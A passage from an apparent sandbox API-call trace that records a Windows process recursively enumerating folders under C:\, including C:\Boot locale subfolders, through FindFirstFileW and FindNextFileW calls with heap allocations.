hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.423] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.423] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280100 [0041.903] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.903] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.904] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.904] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.904] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.904] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0041.904] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.904] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.904] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.904] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280140 [0041.904] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.905] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.905] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.905] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.905] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.905] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0041.905] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.905] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.905] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.905] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280200 [0041.905] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.905] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.905] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.906] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.906] FindNextFileW (in: hFindFile=0x4280200, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.906] FindClose (in: hFindFile=0x4280200 | out: hFindFile=0x4280200) returned 1 [0041.906] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.906] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.906] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.906] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280100 [0041.906] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.906] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.906] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.906] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.906] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.907] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0041.907] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.907] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.907] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.907] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280600 [0041.907] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.907] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.907] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.907] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.907] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.907] FindClose (in: hFindFile=0x4280600 | out: hFindFile=0x4280600) returned 1 [0041.907] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.907] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.907] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.908] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280140 [0041.908] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.908] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.908] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.908] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.908] FindNextFileW (in: hFindFile=0x4280140, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.908] FindClose (in: hFindFile=0x4280140 | out: hFindFile=0x4280140) returned 1 [0041.908] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.908] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.908] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.908] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280740 [0041.908] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.908] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.909] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.909] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.909] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.909] FindClose (in: hFindFile=0x4280740 | out: hFindFile=0x4280740) returned 1 [0041.909] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.909] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.909] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.909] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x42804c0 [0041.909] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.909] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.909] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.909] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.910] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.910] FindClose (in: hFindFile=0x42804c0 | out: hFindFile=0x42804c0) returned 1 [0041.910] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.910] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.910] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.910] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280800 [0041.910] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.910] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.910] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.910] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.910] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0041.910] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.910] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.910] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.911] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.911] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.911] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280580 [0041.911] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.911] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.911] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0041.911] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0041.911] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0041.911] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0041.911] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0041.911] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0041.911] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280480 [0042.011] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.012] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.013] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.013] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.013] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.013] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.013] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.013] FindNextFileW (in: hFindFile=0x4280480, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.013] FindClose (in: hFindFile=0x4280480 | out: hFindFile=0x4280480) returned 1 [0042.030] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.030] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.030] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.030] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.030] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.030] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.030] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.030] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.114] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.114] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.114] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.114] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.115] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.115] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.115] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.115] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.115] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.115] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.116] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.116] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.116] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.116] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.116] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.116] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.117] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.117] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 0 [0042.168] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0042.168] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x690000) returned 1 [0042.168] FindNextFileW (in: hFindFile=0x6a9a18, lpFindFileData=0x38efcf8 | out: lpFindFileData=0x38efcf8) returned 1 [0042.168] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4270048 [0042.168] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 0x42804c0 [0042.168] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.168] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.168] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.168] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.168] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.168] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.169] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.169] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280080 [0042.169] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.169] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.169] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.169] FindClose (in: hFindFile=0x4280080 | out: hFindFile=0x4280080) returned 1 [0042.169] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.169] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.169] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.169] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.169] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.169] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.169] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280440 [0042.170] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.170] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.170] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.170] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.170] FindClose (in: hFindFile=0x4280440 | out: hFindFile=0x4280440) returned 1 [0042.170] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.170] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.170] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.170] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280340 [0042.170] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.170] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.170] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.171] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.171] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0042.171] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.171] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.171] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.171] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280100 [0042.171] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.171] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.171] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.171] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.171] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0042.171] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.171] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.171] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.171] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280580 [0042.171] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.171] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.172] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.172] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.172] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0042.172] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.172] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.172] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.172] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280080 [0042.172] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.172] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.172] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.172] FindClose (in: hFindFile=0x4280080 | out: hFindFile=0x4280080) returned 1 [0042.172] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.172] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.172] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.172] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280800 [0042.172] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.172] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.172] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.173] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.173] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0042.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.173] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x38efa7c | out: lpFindFileData=0x38efa7c) returned 1 [0042.173] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0042.173] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0x4280740 [0042.173] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.173] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.173] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 1 [0042.173] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x38ef800 | out: lpFindFileData=0x38ef800) returned 0 [0042.173] FindClose (in: hFindFile=0x4280740 | out: hFindFile=0x4280740) returned 1 [0042.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.173] FindNextFileW (in: hFindFile=0x42804c0, 